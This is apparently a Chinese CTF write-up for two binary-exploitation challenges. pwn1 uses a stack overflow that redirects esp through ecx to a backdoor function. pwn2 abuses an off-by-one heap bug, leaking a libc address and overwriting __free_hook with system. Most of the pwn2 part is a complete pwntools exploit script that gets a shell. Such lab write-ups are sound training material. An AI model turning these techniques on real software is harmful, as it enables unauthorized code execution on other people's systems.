pwn1

明显的栈溢出漏洞

leave 是

mov esp,ebp
pop ebp

发现直接覆盖ret竟然不行,观察汇编发现在跳转前先将lea esp, [ecx-4]

因此需要先控制ecx,可以向[ebp - 4]写入想要跳转的地址(该栈上),再在此地址写入后门函数(esp, [ecx - 4])的地址即可实现getshell。

pwn2

如上图,存在off_by_one漏洞,可以利用堆重叠进行任意地址写的操作。

首先,泄露libc地址: 将unsortbin切割,通过残留的fd指针,从而泄露出地址。

其次,利用堆重叠,将一号堆溢出值二号堆的fd处,

若写入的是__free_hook的地址即可实现劫持free的效果。此时向__free_hook处写入system,在__free_hook-8处写入参数”/bin/sh\x00”,再free该堆即可
(也可向任意的堆头处写入”/bin/sh\x00”,第一个位置将作为参数传入)

#!/usr/bin/python3
from pwn import *

context.log_level = 'debug'

elf = ELF('./pwn2')
p = process("./pwn2")
libc = ELF("/glibc/2.27/64/lib/libc.so.6")


s      = lambda buf        : p.send(buf)
sl     = lambda buf        : p.sendline(buf)
sa     = lambda delim, buf : p.sendafter(delim, buf)
sal    = lambda delim, buf : p.sendlineafter(delim, buf)
sh     = lambda            : p.interactive()
r      = lambda n=None     : p.recv(n)
ru     = lambda delim      : p.recvuntil(delim)
r7f    = lambda            : u64(p.recvuntil("\x7f")[-6:]+b"\x00\x00")
trs    = lambda addr       : libc.address+addr
gadget = lambda ins        : libc.search(asm(ins,arch="amd64")).next()
tohex  = lambda buf        : "".join("\\x%02x"%ord(_) for _ in buf)

def add(size,content):
    sal("Choice: ","1")
    sal("size: ",str(size))
    sal("content: ",content)
def free(id):
    sal("Choice: ","3")
    sal("idx: ",str(id))
def edit(id,content):
    sal("Choice: ","2")
    sal("idx: ",str(id))
    sa("content: ",content)
def show(id):
    sal("Choice: ","4")
    sal("idx: ",str(id))

for i in range(8):
   add(0x88,'aaaaaaaa')

add(0x88,'bbbbbbbb')

for i in range(8):
   free(i)

#gdb.attach(p)
add(0x28,'a'*8)
edit(0,'a'*9)

show(0)
leak = u64(p.recvuntil('\x7f')[-6:] + b'\x00\x00')
      #u64(p.recvuntil("\x7f")[-6:] + b"\x00\x00")
base = leak-0xa-279-0x10-libc.sym['__malloc_hook']
system = base+libc.sym['system']
free_hook = base+libc.sym['__free_hook']
print("leak---->"+hex(leak))
print("base---->"+hex(base))
print("free_hook-->"+hex(free_hook))
#gdb.attach(p)

add(0x18,'AAAA')  #1
add(0x18,'BBBB')  #2
add(0x18,'CCCC')  #3
add(0x18,'DDDD')  #4

free(1)
add(0x18,"A"*0x18+"\x41")

free(3)
free(2)

add(0x38,'EEEEE')
payload = b'a'*0x18 + p64(0x21) + p64(free_hook-8)
edit(2,payload)
#gdb.attach(p)
add(0x18,b"/bin/sh\x00")  #3
#gdb.attach(p)
add(0x18,b"/bin/sh\x00" + p64(system))  #5
show(3)
free(3)
#free(5)
p.interactive()